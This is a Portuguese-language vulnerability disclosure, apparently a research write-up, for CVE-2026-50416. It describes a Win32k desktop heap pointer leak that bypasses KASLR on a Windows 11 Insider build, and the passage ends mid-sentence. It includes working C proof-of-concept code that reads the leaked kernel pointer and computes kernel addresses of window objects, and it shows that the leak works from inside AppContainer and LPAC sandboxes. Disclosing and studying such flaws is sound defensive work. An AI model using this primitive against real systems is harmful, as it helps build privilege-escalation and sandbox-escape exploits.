CVE-2026-50416: bypass de KASLR no Windows 11
No Windows 11 Insider build 10.0.28020.2149, o mapeamento em modo de usuário do desktop heap do Win32k expôs um ponteiro bruto do pool de sessão do kernel no offset 0x100.
A leitura em si é quase ofensivamente pequena:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Na minha sessão de teste, isso retornou:
0xffffc600dcc00040
O valor permaneceu o mesmo entre processos no mesmo desktop e mudou após uma reinicialização. Um processo iniciado em outro desktop recebeu um valor diferente porque tinha um desktop heap diferente. A partir deste único QWORD, o PoC recuperou a base do desktop heap do kernel e então usou user32!gSharedInfo para derivar os endereços de kernel de objetos de janela ativos.
A mesma leitura funcionou a partir de Low integrity, AppContainer, uma configuração LPAC com zero capacidades, e um filho AppContainer de Low integrity com zero capacidades.
O desktop heap deveria ser compartilhado. O ponteiro do kernel não é.
O Win32k armazena objetos USER como janelas, menus, classes, hooks e metadados relacionados em desktop heaps. Cada desktop tem seu próprio heap. Parte desse heap é mapeada em processos associados ao desktop para que o modo de usuário possa ler o estado compartilhado da GUI sem perguntar ao kernel por cada campo.
No build x64 testado, o mapeamento em modo de usuário pode ser alcançado através dos dados de cliente do TEB da thread atual:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Os offsets são específicos do build, mas a rota é simples:
GS:[0x30]
-> TEB
-> ClientInfo em TEB + 0x800
-> ClientInfo[5]
-> mapeamento do desktop heap em modo de usuário
O PoC chama VirtualQuery no endereço retornado e registra a região mapeada e sua proteção. Nada deu errado ainda. Um mapeamento de desktop heap somente leitura é comportamento normal do Win32k.
O problema começa 256 bytes adentro.
O PoC principal lê um QWORD do heap mapeado:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
O valor passou nas verificações básicas esperadas de um endereço virtual de kernel no sistema testado:
O teste de estabilidade cria janelas STATIC, BUTTON e EDIT, lê o valor antes da criação, lê novamente enquanto as janelas existem, as destrói e lê uma terceira vez.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Todas as três leituras retornaram o mesmo valor. A atividade de alocação de janelas não o moveu. Esse comportamento é consistente com um campo nos metadados do desktop heap, em vez de um ponteiro de objeto de curta duração.
A propriedade entre processos é igualmente importante. Dois processos anexados ao mesmo desktop observam o mesmo valor vazado porque estão olhando para o mesmo desktop heap. Após uma reinicialização, o KASLR dá à sessão um novo endereço. Um filho colocado em outro desktop observa outro ponteiro porque esse desktop possui outro heap.
Isso dá ao vazamento uma identidade útil:
mesmo boot + mesmo desktop -> mesmo ponteiro
mesmo boot + desktop diferente -> ponteiro diferente
novo boot -> ponteiro diferente
No build testado, o ponteiro vazado está 0x40 bytes acima da base do desktop heap do kernel usada pelo PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Usando o valor da sessão registrada:
ponteiro vazado = 0xffffc600dcc00040
base do desktop heap kernel = 0xffffc600dcc00000
Essa relação é específica do build. Para o build usado durante os testes, ela fornece a âncora do lado do kernel necessária para o próximo passo.
Um ponteiro já é útil. Um endereço para um objeto escolhido é muito mais útil.
user32.dll exporta gSharedInfo, que expõe a lista de entradas de handles USER e o tamanho de cada entrada:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Um HWND contém um índice na tabela de handles USER. O PoC pega os 16 bits baixos do handle, caminha até a entrada correspondente e lê o offset do desktop heap armazenado ali.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
O mesmo offset nomeia o objeto em ambos os mapeamentos:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Então o cálculo completo é:
base do desktop heap kernel = desktop_heap[0x100] - 0x40
índice do handle = HWND & 0xffff
offset do heap = aheList[índice do handle].offset
endereço da janela kernel = base do desktop heap kernel + offset do heap
O PoC cria seis classes de janela e realiza o cálculo para cada uma:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPara cada objeto, ele imprime o HWND, índice do handle, endereço do objeto em modo de usuário, offset do heap e endereço de kernel.
HWND
-> índice do handle de 16 bits baixos
-> entrada de handle do gSharedInfo
-> offset do desktop heap
-> base do desktop heap kernel + offset
-> endereço de kernel daquele objeto de janela
Esta é a parte que transforma a divulgação de um ponteiro de kernel solto em um oráculo de endereços para objetos USER selecionados no desktop heap testado.
O desktop heap chega através de um mapeamento compartilhado. Níveis de integridade e restrições de AppContainer não reescrevem o conteúdo desse mapeamento para cada processo. Se o processo recebe o desktop heap, ele recebe o QWORD em 0x100 junto.
O PoC de sandbox lança filhos em vários contextos e faz cada filho ler o valor do seu próprio TEB e do seu próprio mapeamento de desktop heap.
| Contexto | Configuração | Resultado |
|---|---|---|
| Integridade média | Processo de usuário padrão | Vazado |
| Integridade baixa | Integridade do token reduzida para Low | Vazado |
| AppContainer | Zero capacidades solicitadas | Vazado |
| Configuração LPAC | Todas as políticas de opt-out de pacotes de aplicativos, zero capacidades solicitadas | Vazado |
| AppContainer de integridade baixa | Low IL mais AppContainer, zero capacidades solicitadas | Vazado |
| Desktop alternativo | Filho atribuído a um novo desktop | Vazou um valor diferente |
Os primeiros cinco filhos estavam anexados ao desktop padrão e retornaram o mesmo endereço. O filho do desktop alternativo retornou outro endereço porque recebeu outro desktop heap.
A saída do filho tem um formato compacto para que o pai possa comparar resultados: